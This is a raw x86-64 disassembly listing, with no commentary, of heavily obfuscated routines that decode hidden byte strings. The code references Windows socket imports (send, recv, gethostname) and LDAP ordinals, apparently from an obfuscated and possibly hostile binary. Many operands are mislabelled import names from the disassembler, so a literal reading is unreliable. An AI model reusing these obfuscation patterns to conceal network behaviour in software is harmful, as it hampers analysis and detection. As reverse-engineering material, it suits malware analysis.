lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014de6c
sub r8b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r15b
jmp 0x14014df55
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x60
jmp 0x14014df3d
lea ecx, [r8 + 0x54]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x14014df1d
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14014dc74
lea edx, [r8 - 0x5a]
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014db2c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014dc8b
add r8b, 0x3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14014da67
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014dca2
lea edx, [r8 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14014db9c
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014dcc4
lea ecx, [r8 - 0x48]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14014de6f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014dce8
add r8b, 4
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1c
jmp 0x14014df55
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014db2c
add r8b, 0x50
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x30
jmp 0x14014df3d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014dd36
lea edx, [r8 - 0x26]
mov ecx, 5
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014df1d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014dd5a
add r8b, 0x26
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0xa
jmp 0x14014df3d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014dd7c
lea ecx, [r8 - 0x42]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x14014de6f
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014dae8
lea ecx, [r8 - 0x5e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6e
jmp 0x14014dfce
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014ddc6
add r8b, 0x78
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x48
jmp 0x14014e042
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014dde8
lea ecx, [r8 + 0x10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x70
jmp 0x14014dfce
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014ddff
lea edx, [r8 - 0xc]
mov ecx, Ordinal_45
jmp 0x14014dbee
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014de16
add r8b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014dedd
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014de3d
sub r8b, r15b
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014df3d
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14014daaf
lea edx, [r8 - 0x28]
mov ecx, ntohs
jmp 0x14014dd22
lea ecx, [r8 + 0x70]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
add bl, r9b
add r8b, 0x16
mov al, r8b
and al, r9b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, r8b
add cl, bl
add cl, r9b
mov byte [rbp + rsi + 0x150], cl
jmp 0x14014df74
lea ecx, [r8 - 0x44]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0x24]
jmp 0x14014dfce
add r8b, 0x4a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 6
jmp 0x14014e042
add r8b, 0x1a
mov ecx, Ordinal_41
jmp 0x14014dbd2
sub r8b, 0x7e
mov ecx, reloc.WS2_32.dll_gethostname
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014df55
lea ecx, [r8 - 0x16]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x14014df1d
mov r8b, sil
lea ecx, [r8 + r13]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
sub r8b, 0x36
mov al, r8b
and al, r9b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
mov byte [rbp + rsi + 0x150], cl
inc r10
jmp 0x14014df55
lea ecx, [rsi - 0x46]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
dec rsi
jmp 0x14014e050
lea edx, [rsi + 0x22]
mov al, dl
and al, r9b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r10
jmp 0x14014df99
movabs rax, 0xc73d670456ac03d6
add rax, rsi
and r11b, al
mov ecx, reloc.WS2_32.dll_send
sub cl, r11b
lea ebx, [rcx + rcx]
add bl, al
add bl, r9b
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
jmp 0x14014e050
movabs rax, 0xcbdfaca7c4ce68a
add rax, rsi
and r11b, al
mov ecx, Ordinal_33
sub cl, r11b
lea ebx, [rcx + rcx]
add bl, al
mov r8b, sil
add bl, r9b
add r8b, 0x62
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
movzx eax, cl
mov byte [rbp + rsi + 0x150], al
inc r10
add rax, r10
sub rsi, rax
lea ecx, [rsi + 8]
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x38
add cl, r9b
mov byte [rbp + rsi + 0x150], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add rsi, rax
jmp 0x14014e042
movabs rax, 0x97bf2256c78eabf2
add rax, rsi
and r11b, al
mov ecx, Ordinal_50
sub cl, r11b
lea ebx, [rcx + rcx]
add bl, al
add bl, r9b
movzx eax, byte [rbp + rsi + 0x150]
add rax, r10
add rsi, rax
inc rsi
jmp 0x14014d691
add r8b, 0x3e
mov al, r8b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d68f
sub r8b, 0xe
mov al, r8b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d67f
lea r13, [rbp + 0x173d8d8]
jmp 0x14014e0af
lea r13, [rbp + 0x163677e]
jmp 0x14014e0af
lea r13, [rbp + 0x150]
mov byte [rbp + 0x2e0], 0xea
mov byte [rbp + 0x2e1], 0xe1
mov byte [rbp + 0x2e2], Ordinal_217
mov byte [rbp + 0x2e3], Ordinal_27
mov byte [rbp + 0x2e4], 0x63
mov byte [rbp + 0x2e5], 0x62
mov byte [rbp + 0x2e6], 0x62
mov byte [rbp + 0x2e7], reloc.WS2_32.dll_select
mov byte [rbp + 0x2e8], 0x62
mov byte [rbp + 0x2e9], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x2ea], Ordinal_41
mov byte [rbp + 0x2eb], 0xdb
mov byte [rbp + 0x2ec], 0x67
mov byte [rbp + 0x2ed], 0xdf
mov byte [rbp + 0x2ee], WSASetLastError
mov byte [rbp + 0x2ef], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x2f0], 0x64
mov byte [rbp + 0x2f1], WSAGetLastError
mov byte [rbp + 0x2f2], Ordinal_200
mov byte [rbp + 0x2f3], 0x3d
mov byte [rbp + 0x2f4], 0xc0
mov byte [rbp + 0x2f5], Ordinal_200
mov byte [rbp + 0x2f6], 0xe6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2f7], xmm0
mov dword [rbp + 0x307], eax
mov bl, byte [rsp + 0x40]
mov sil, Ordinal_79
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x2b
jae 0x14014eae8
movzx r9d, byte [rbp + r11 + 0x2e0]
mov edx, r9d
mov r12d, reloc.WLDAP32.dll_Ordinal_33
cmp rdi, r11
ja 0x14014eadf
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014e1cc
movabs rcx, 0x32c2c48b9d1a901e
add rcx, r11
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x2e
jmp 0x14014e206
je 0x14014ea6e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014e9f4
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014e9c7
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014e9ae
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014e96a
mov r8b, r11b
cmp r10, r11
ja 0x14014ead6
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14014e231
lea ecx, [r8 + 0x76]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3a
jmp 0x14014e265
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014e95d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014e945
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014e92d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014e90e
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014e6db
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014e6c2
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014e6a3
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014e684
lea rcx, [r10 + 0x42]
cmp rdi, rcx
je 0x14014e66b
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014e64c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014e631
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014e618
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014e5f9
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14014e5de
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014e272
mov rdi, rcx
lea r10, [rcx + 0x10]
lea rax, [r10 + 6]
cmp rcx, rax
jb 0x14014eabb
lea rax, [r10 + 8]
cmp rcx, rax
jb 0x14014eaa0
lea rax, [r10 + 0x5a]
cmp rcx, rax
jb 0x14014e459
lea rcx, [r10 + 0x80]
cmp rdi, rcx
jb 0x14014e440
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014e427
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14014e5d0
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x14014e58c
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14014e552
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014e52b
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014e272
mov rdi, rcx
lea r10, [rcx + 0x28]
lea rax, [r10 + 9]
cmp rcx, rax
ja 0x14014e51d
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x14014e502
lea rax, [r10 + 1]
cmp rcx, rax
ja 0x14014e4f4
lea rax, [r10 + 2]
cmp rcx, rax
ja 0x14014e4d5
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14014e4ba
lea rax, [r10 + 0x20]
cmp rcx, rax
ja 0x14014e4ac
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x14014e49e
lea rax, [r10 + 4]
cmp rcx, rax
ja 0x14014e484
lea rax, [r10 + 5]
cmp rcx, rax
ja 0x14014e476
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14014e272
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x42]
jmp 0x14014e272
lea ecx, [r8 + 0x4a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
jmp 0x14014e265
lea ecx, [r8 + 0xe]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x62
jmp 0x14014e209
sub r8b, 0x2e
mov al, r8b
and al, r9b
mov ecx, r12d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014e198
lea edx, [r8 - 0x50]
mov ecx, Ordinal_27
jmp 0x14014e976
add r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2c
jmp 0x14014e9a3
add r8b, 0x38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14014e68d
lea edx, [r8 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14014e7ae
sub r8b, 0x40
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x40
jmp 0x14014e9c2
sub r8b, 0x7c
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014e9e2
lea edx, [r8 + 0x48]
mov ecx, 4
jmp 0x14014e852
add r8b, 0xc
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x54
jmp 0x14014ea40
sub r8b, 0x30
mov ecx, Ordinal_41
jmp 0x14014e917
add r8b, 0x3a
mov al, r8b
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
mov byte [rbp + r11 + 0x2e0], bl
jmp 0x14014ea98
lea edx, [r8 - 2]
mov al, dl
and al, r9b
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp r10, 2
jb 0x14014e545
lea ecx, [r8 - 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x58]
jmp 0x14014e985
lea ecx, [r8 - 0x3e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, sil
cmp rdi, 0x80
jae 0x14014e8b7
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x14014e866
lea ecx, [r8 - 0x64]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x14014e56a
lea edx, [r8 - 0x7a]
mov ecx, Ordinal_45
jmp 0x14014e6ed
sub r8b, 0x3c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5c
jmp 0x14014ea89
sub r8b, 0x78
mov ecx, 0x24
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ea40
lea ecx, [r8 + 0x4c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x14014ea13
add r8b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x70
jmp 0x14014e9e2
sub r8b, 0x2c
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014e9c2
lea ecx, [r8 - 0x68]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14014e8cf
add r8b, 0x5c
mov ecx, 0x3e
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014e9a6
add r8b, 0x20
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014e9a3
lea ecx, [r8 - 0x1c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
jmp 0x14014e985
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14014e730
lea edx, [r8 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 0x42
je 0x14014e8f4
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14014e7dd
lea ecx, [r8 + 0x26]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xa
jmp 0x14014e5a0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e754
sub r8b, 0x14
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r15b
jmp 0x14014ea89
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e778
add r8b, 0x28
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x18
jmp 0x14014ea40
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e79c
sub r8b, 0x24
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 4
jmp 0x14014e9c2
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014e7c2
lea edx, [r8 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014e8cf
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014e6fc
lea edx, [r8 - 0x34]
mov ecx, gethostname
jmp 0x14014e976
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e7f4
lea edx, [r8 + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x14014e976
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e818
sub r8b, 0x62
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x52
jmp 0x14014e9a3
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014e83c
add r8b, 0x52
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3e
jmp 0x14014e9c2
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014e5a0
lea edx, [r8 - 0x36]
mov ecx, 0x3d
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014ea13
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014e87d
sub r8b, 0x28
mov ecx, ntohs
jmp 0x14014e917
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014e894
add r8b, 0x14
mov ecx, Ordinal_60
jmp 0x14014e602
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014e56a
lea ecx, [r8 + 4]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x14014e8cf
lea edx, [r8 + 0x30]
mov al, dl
and al, r9b
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
add r8b, sil
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x22
add r9b, r8b
add r9b, bl
mov byte [rbp + r11 + 0x2e0], r9b
jmp 0x14014e9c2
lea edx, [r8 + 0x6c]
mov al, dl
and al, r9b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014ea13
sub r8b, 0x6e
mov ecx, 1
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014ea89
sub r8b, 0x5e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6e
jmp 0x14014e9c2
add r8b, 0x2a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x26
jmp 0x14014e9a6
mov dl, r8b
sub dl, sil
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14014e976
mov r8b, r11b
lea edx, [r8 + 0x3a]
mov ecx, gethostname
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add r8b, 0x12
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x7e
add r9b, r8b
mov byte [rbp + r11 + 0x2e0], r9b
inc r10
dec r11
jmp 0x14014ea98
lea ecx, [r11 + 0x4a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
add rdi, r10
jmp 0x14014e9e2
movabs rax, 0xc8d8e8e885ef110e
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x62
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14014ea98
movabs rcx, 0x63535fd14bb9f0d2
add rcx, r11
and dl, cl
mov eax, r12d
sub al, dl
lea ebx, [rax + rax]
add bl, r9b
add bl, cl
mov r8b, r11b
sub r8b, 0x76
mov al, r8b
and al, r9b
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x2e0], al
inc r10
add rax, r10
sub r11, rax
lea edx, [r11 - 0x58]
mov al, dl
and al, r9b
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 + 0x2e0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14014ea89
movabs rax, 0x98484da2d74fb05a
add rax, r11
and dl, al
add dl, dl
sub r9b, dl
lea ebx, [rax + r9]
sub bl, 0x76
movzx eax, byte [rbp + r11 + 0x2e0]
add rax, r10
add r11, rax
inc r11
jmp 0x14014e17c
sub r8b, 0x6a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x1a
jmp 0x14014e179
add r8b, 0x5a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x76
jmp 0x14014e169
lea r12, [rbp + 0x158d708]
jmp 0x14014eaef
lea r12, [rbp + 0xf36726]
jmp 0x14014eaef
lea r12, [rbp + 0x2e0]
mov byte [rbp + 0x1f0], 0x68
mov byte [rbp + 0x1f1], 0x61
mov byte [rbp + 0x1f2], WSASetLastError
mov byte [rbp + 0x1f3], Ordinal_50
mov byte [rbp + 0x1f4], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x1f5], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1f6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x1f7], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x1f8], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x1f9], 0x3d
mov byte [rbp + 0x1fa], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1fb], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x1fc], Ordinal_60
mov byte [rbp + 0x1fd], Ordinal_60
mov byte [rbp + 0x1fe], 0x76
mov byte [rbp + 0x1ff], 0x61
mov byte [rbp + 0x200], 0x46
mov byte [rbp + 0x201], 0x7b
mov byte [rbp + 0x202], 0xa4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x203], xmm0
mov qword [rbp + 0x213], rax
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x2b
jae 0x14014f596
movzx r9d, byte [rbp + r11 + 0x1f0]
mov edx, r9d
cmp rdi, r11
ja 0x14014f58d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014ebe7
movabs rcx, 0x1bf639a9d6739049
add rcx, r11
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
inc bl
jmp 0x14014ec21
je 0x14014f51c
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014f4d3
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014f488
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014f46b
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014f430
mov r8b, r11b
cmp r10, r11
ja 0x14014f584
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x14014ec4f
lea ecx, [r8 - 3]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x15
jmp 0x14014ec90
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014f41b
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014f400
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014f3e5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014f3a0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014f384
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14014f11f
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14014f102
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14014f0f4
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014f0e6
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014f0c9
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014f0bb
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014f0ad
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014f09f
lea rcx, [r10 + 9]
cmp rdi, rcx
je 0x14014f080
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014f072
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ec9d
mov rdi, rcx
lea r10, [rcx + 0x7a]
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x14014f569
lea rax, [r10 + 0x28]
cmp rcx, rax
jb 0x14014f54e
lea rax, [r10 + 0x7a]
cmp rcx, rax
jb 0x14014ee84
lea rax, [r10 + 8]
cmp rcx, rax
jb 0x14014ee6b
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x14014ee52
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x14014f02c
lea rax, [r10 + 0x61]
cmp rcx, rax
jb 0x14014efe7
lea rax, [r10 + 6]
cmp rcx, rax
jb 0x14014efaf
lea rax, [r10 + 0x80]
cmp rcx, rax
jb 0x14014ef8c
lea rax, [r10 + 0x10]
cmp rcx, rax
jb 0x14014ec9d
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014ef71
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014ef56
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014ef3d
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014ef22
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14014ef07
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14014eeee
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14014eed3
lea rcx, [r10 + 0x40]
cmp rdi, rcx
ja 0x14014eeb8
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014ee9f
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014ec9d
mov rdi, rcx
lea r10, [rcx + 0x3e8]
jmp 0x14014ec9d
lea ecx, [r8 - 0x5d]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x75
jmp 0x14014ec90
lea ecx, [r8 + 0x11]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r14b
jmp 0x14014ec24
add r8b, 0x7f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x79
jmp 0x14014ebb4
lea ecx, [r8 - 0x18]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x58
jmp 0x14014f448
add r8b, 0x56
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5a
jmp 0x14014f466
sub r8b, 0x3c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5c
jmp 0x14014f480
lea ecx, [r8 + 0x32]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5e
jmp 0x14014f4a0
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x60
jmp 0x14014f4c1
add r8b, 0xe
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x62
